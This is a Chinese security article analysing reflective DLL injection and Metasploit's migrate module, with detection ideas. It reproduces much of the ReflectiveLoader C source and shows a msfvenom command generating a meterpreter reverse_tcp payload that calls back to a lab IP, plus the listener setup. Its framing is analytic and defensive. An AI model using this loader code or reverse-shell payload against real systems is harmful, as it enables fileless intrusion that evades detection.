前言
dll 注入技術是讓某個進程主動加載指定的 dll 的技術。惡意軟件為了提高隱蔽性,通常會使用 dll 注入技術將自身的惡意代碼以 dll 的形式注入高可信進程。
常規的 dll 注入技術使用 LoadLibraryA() 函數來使被注入進程加載指定的 dll。常規dll注入的方式一個致命的缺陷是需要惡意的 dll 以文件的形式存儲在受害者主機上。這樣使得常規 dll 注入技術在受害者主機上留下痕跡較大,很容易被 edr 等安全產品檢測到。為了彌補這個缺陷,stephen fewer 提出了反射式 dll 注入技術并在?github開源,反射式dll注入技術的優勢在于可以使得惡意的dll通過 socket 等方式直接傳輸到目標進程內存并加載,期間無任何文件落地,安全產品的檢測難度大大增加。
本文將從 dll 注入技術簡介、msf migrate 模塊剖析、檢測思路和攻防對抗的思考等方向展開說明反射式 dll 注入技術。
dll注入技術簡介
1 常規dll注入技術
常規 dll 注入有:
1)? 通過調用 CreateRemoteThread()/NtCreateThread()/RtlCreateUserThread() 函數在被注入進程創建線程進行 dll 注入。
2)? 通過調用 QueueUserAPC()/SetThreadContext() 函數來劫持被注入進程已存在的線程加載 dll。
3)? 通過調用 SetWindowsHookEx() 函數來設置攔截事件,在發生對應的事件時,被注入進程執行攔截事件函數加載 dll。
以使用 CreateRemoteThread() 函數進行 dll 注入的方式為例,實現思路如下:
1)??獲取被注入進程 PID。
2)??在注入進程的訪問令牌中開啟 SE_DEBUG_NAME 權限。
3)??使用 openOpenProcess() 函數獲取被注入進程句柄。
4)??使用VirtualAllocEx()函數在被注入進程內開辟緩沖區并使用 WriteProcessMemory() 函數寫入 DLL 路徑的字符串。
5)??使用 GetProcAddress() 函數在當前進程加載的 kernel32.dll 找到 LoadLibraryA函數的地址。
6)??通過 CreateRemoteThread() 函數來調用 LoadLibraryA() 函數,在被注入進程新啟動一個線程,使得被注入進程進程加載惡意的 DLL。
常規 dll 注入示意圖如上圖所示。該圖直接從步驟3)開始,步驟1)和步驟2)不在贅述。
2 反射式dll注入技術
反射式 dll 注入與常規 dll 注入類似,而不同的地方在于反射式 dll 注入技術自己實現了一個 reflective loader() 函數來代替 LoadLibaryA() 函數去加載 dll,示意圖如下圖所示。藍色的線表示與用常規dll注入相同的步驟,紅框中的是 reflective loader() 函數行為,也是下面重點描述的地方。
Reflective loader 實現思路如下:
1)??獲得被注入進程未解析的 dll 的基地址,即下圖第7步所指的 dll。
2)??獲得必要的 dll 句柄和函數為修復導入表做準備。
3)??分配一塊新內存去取解析 dll,并把 pe 頭復制到新內存中和將各節復制到新內存中。
4)??修復導入表和重定向表。
5)??執行 DllMain() 函數。
Msf migrate模塊
msf 的 migrate 模塊是 post 階段的一個模塊,其作用是將 meterpreter payload 從當前進程遷移到指定進程。
在獲得 meterpreter session 后可以直接使用 migrate 命令遷移進程,其效果如下圖所示:
migrate 的模塊的實現和 stephen fewer 的?ReflectiveDLLInjection?項目大致相同,增加了一些細節,其實現原理如下:
1)? 讀取 metsrv.dll(metpreter payload模板dll)文件到內存中。
2)??生成最終的 payload。
3)??向 msf server 發送 migrate 請求和 payload。
4)??msf 向遷移目標進程分配一塊內存并寫入 payload。
5)??msf 首先會創建的遠程線程執行 migrate stub,如果失敗了,就會嘗試用 apc 注入的方式執行 migrate stub。migrate stub 會調用 meterpreter loader,meterpreter loader 才會調用 reflective loader。
6)??reflective loader 進行反射式 dll 注入。
7)??最后 msf client 和 msf server 建立一個新的 session。
原理圖如下所示:
圖中紅色的線表示與常規反射式dll注入不同的地方。紅色的填充表示修改內容,綠色的填充表示增加內容。migrate 模塊的 reflective loader 是直接復用了 stephen fewer 的 ReflectiveDLLInjection 項目的?ReflectiveLoader.c?中的 ReflectiveLoader() 函數。下面我們主要關注 reflective loader 的行為。
1 靜態分析
1.1 獲取dll地址
ReflectiveLoader() 首先會調用 caller() 函數
uiLibraryAddress = caller();
caller() 函數實質上是 _ReturnAddress() 函數的封裝。caller() 函數的作用是獲取caller() 函數的返回值,在這里也就是 ReflectiveLoader() 函數中調用 caller() 函數的下一條指令的地址。
#ifdef __MINGW32__
#define WIN_GET_CALLER() __builtin_extract_return_addr(__builtin_return_address(0))
#else
#pragma intrinsic(_ReturnAddress)
#define WIN_GET_CALLER() _ReturnAddress()
#endif
__declspec(noinline) ULONG_PTR caller( VOID ) { return (ULONG_PTR)WIN_GET_CALLER(); }
然后,向低地址逐字節比較是否為為 dos 頭的標識MZ字串,若當前地址的內容為 MZ字串,則把當前地址認為是 dos 頭結構體的開頭,并校驗 dos 頭 e_lfanew 結構成員是否指向 pe 頭的標識 “PE” 字串。若校驗通過,則認為當前地址是正確的 dos 頭結構體的開頭。
while( TRUE )
{
//將當前地址當成dos頭結構,此結構的e_magic成員變量是否指向MZ子串
if( ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE )
{
uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
if( uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024 )
{
uiHeaderValue += uiLibraryAddress;
//判斷e_lfanew結構成員是否指向PE子串,是則跳出循環,取得未解析dll的基地址
if( ((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE )
break;
}
}
uiLibraryAddress--;
}
1.2??獲取必要的 dll 句柄和函數地址
獲取必要的 dll句柄是通過遍歷peb結構體中的ldr成員中的InMemoryOrderModuleList 鏈表獲取 dll 名稱,之后算出 dll 名稱的 hash,最后進行hash 對比得到最終的 hash。
uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr;
uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink;
while( uiValueA )
{
uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer;
usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length;
uiValueC = 0;
ULONG_PTR tmpValC = uiValueC;
//計算tmpValC所指向子串的hash值,并存儲在uiValueC中
....
if( (DWORD)uiValueC == KERNEL32DLL_HASH )
必要的函數是遍歷函數所在的dll導出表獲得函數名稱,然后做hash對比得到的。
uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames );
uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals );
usCounter = 3;
while( usCounter > 0 )
{
dwHashValue = _hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) );
if( dwHashValue == LOADLIBRARYA_HASH
//等于其他函數hash的情況
|| ...
)
{
uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );
if( dwHashValue == LOADLIBRARYA_HASH )
pLoadLibraryA = (LOADLIBRARYA)( uiBaseAddress + DEREF_32( uiAddressArray ) );
//等于其他函數hash的情況
...
usCounter--;
}
uiNameArray += sizeof(DWORD);
uiNameOrdinals += sizeof(WORD);
}
}
1.3?將 dll 映射到新內存
Nt optional header 結構體中的 SizeOfImage 變量存儲著 pe 文件在內存中解析后所占的內存大小。所以 ReflectiveLoader() 獲取到 SizeOfImage 的大小,分配一塊新內存,然后按照 section headers 結構中的文件相對偏移和相對虛擬地址,將 pe 節一一映射到新內存中。
//分配SizeOfImage的新內存
uiBaseAddress = (ULONG_PTR)pVirtualAlloc( NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
...
uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders;
uiValueB = uiLibraryAddress;
uiValueC = uiBaseAddress;
//將所有頭和節表逐字節復制到新內存
while( uiValueA-- )
*(BYTE *)uiValueC++ = *(BYTE *)uiValueB++;
//解析每一個節表項
uiValueA = ( (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader );
uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections;
while( uiValueE-- )
{
uiValueB = ( uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress );
uiValueC = ( uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData );
uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData;
//將每一節的內容復制到新內存對應的位置
while( uiValueD-- )
*(BYTE *)uiValueB++ = *(BYTE *)uiValueC++;
uiValueA += sizeof( IMAGE_SECTION_HEADER );
}
首先更具導入表結構,找到導入函數所在的 dll 名稱,然后使用 loadlibary() 函數載入dll,根據函數序號或者函數名稱,在載入的 dll 的導出表中,通過 hash 對比,并把找出的函數地址寫入到新內存的 IAT 表中。
uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ];
uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );
//當沒有到達導入表末尾時
while( ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Characteristics )
{
//使用LoadLibraryA()函數加載對應的dll
uiLibraryAddress = (ULONG_PTR)pLoadLibraryA( (LPCSTR)( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) );
...
uiValueD = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk );
//IAT表
uiValueA = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk );
while( DEREF(uiValueA) )
{
//如果導入函數是通過函數編號導入
if( uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG )
{ //通過函數編號索引導入函數所在dll的導出函數
uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
uiExportDir = ( uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
uiAddressArray = ( uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
uiAddressArray += ( ( IMAGE_ORDINAL( ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal ) - ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->Base ) * sizeof(DWORD) );
//將對應的導入函數地址寫入IAT表
DEREF(uiValueA) = ( uiLibraryAddress + DEREF_32(uiAddressArray) );
}
else
{
//導入函數通過名稱導入的
uiValueB = ( uiBaseAddress + DEREF(uiValueA) );
DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress( (HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name );
}
uiValueA += sizeof( ULONG_PTR );
if( uiValueD )
uiValueD += sizeof( ULONG_PTR );
}
uiValueC += sizeof( IMAGE_IMPORT_DESCRIPTOR );
}
重定位表是為了解決程序指定的 imagebase 被占用的情況下,程序使用絕對地址導致訪問錯誤的情況。一般來說,在引用全局變量的時候會用到絕對地址。這時候就需要去修正對應內存的匯編指令。
uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase;
uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_BASERELOC ];
//如果重定向表的值不為0,則修正重定向節
if( ((PIMAGE_DATA_DIRECTORY)uiValueB)->Size )
{
uiValueE = ((PIMAGE_BASE_RELOCATION)uiValueB)->SizeOfBlock;
uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );
while( uiValueE && ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock )
{
uiValueA = ( uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress );
uiValueB = ( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION) ) / sizeof( IMAGE_RELOC );
uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION);
//根據不同的標識,修正每一項對應地址的值
while( uiValueB-- )
{
if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64 )
*(ULONG_PTR *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress;
else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW )
*(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress;
else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH )
*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress);
else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW )
*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress);
uiValueD += sizeof( IMAGE_RELOC );
}
uiValueE -= ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock;
uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock;
}
}
2?動態調試
本節一方面是演示如何實際的動態調試 msf 的 migrate 模塊,另一方面也是獲取dll基地址章節的一個補充,從匯編層次來看會更容易理解。
首先用 msfvenom 生成 payload
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.75.132 lport=4444 -f exe -o msf.exe
并使用 msfconsole 設置監聽
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcppayload => windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 0.0.0.0
lhost => 0.0.0.0
msf6 exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 0.0.0.0:4444
之后在受害機使用 windbg 啟動 msf.exe 并且
bu KERNEL32!CreateRemoteThread;g
獲得被注入進程新線程執行的地址,以便調試被注入進程。
當建立 session 連接后,在 msfconsole 使用 migrate 命令
migrate 5600 //5600是要遷移的進程的pid
然后 msf.exe 在 CreateRemoteThread 函數斷下,CreateRemoteThread 函數原型如下
HANDLE CreateRemoteThread(
[in] HANDLE hProcess,
[in] LPSECURITY_ATTRIBUTES lpThreadAttributes,
[in] SIZE_T dwStackSize,
[in] LPTHREAD_START_ROUTINE lpStartAddress,
[in] LPVOID lpParameter,
[in] DWORD dwCreationFlags,
[out] LPDWORD lpThreadId
);
所以我們要找第四個參數 lpStartAddress 的值,即 r9 寄存器的內容,
使用
!address 000001c160bb0000
去 notepad 進程驗證一下,是可讀可寫的內存,基本上就是對的
此時的地址是 migrate stub 匯編代碼的地址,我們期望直接斷在 reflective loader 的函數地址,我們通過
s -a 000001c1`60bb0000 L32000 MZ //000001c1`60bb0000為上面的lpStartAddress,3200為我們獲取到的內存塊大小
直接去搜 MZ 字串定位到 meterpreter loader 匯編的地址,進而定位到 reflective loader 的函數地址
meterpreter loader 將 reflective loader 函數的地址放到 rbx 中,所以我們可直接斷在此處,進入 reflective loader 的函數,如下圖所示
reflective loader 首先 call ? ?000001c1`60bb5dc9 也就是caller()函 數,caller() 函數的實現就比較簡單了,一共兩條匯編指令,起作用就是返回下一條指令的地址
在這里也就是 0x000001c160bb5e08
獲得下一條指令后的地址后,就會比較獲取的地址的內容是否為 MZ 如果不是的話就會把獲取的地址減一作為新地址比較,如果是的話,則會比較 e_lfanew 結構成員是否指向 PE,若是則此時的地址作為 dll 的基地址。后面調試過程不在贅述。
檢測方法
反射式 dll 注入技術有很多種檢測方法,如內存掃描、IOA 等。下面是以內存掃描為例,我想到的一些掃描策略和比較好的檢測點。
掃描策略:
檢測點多是跟 reflective loader 函數的行為有關,檢測點如下:
云主機安全保護平臺 CWPP 能夠有效檢測此類利用反射式 dll 注入 payload 的無文件攻擊技術。檢測結果如圖所示:
攻防對抗的思考
對于標準的反射 dll 注入是有很多種檢測方式的,主要是作者沒有刻意的做免殺,下面對于我搜集到了一些免殺方式,探討一下其檢測策略。
參考鏈接
本篇技術分析授權轉載作者:深信服千里目
上一篇:地下網絡犯罪團伙眾生相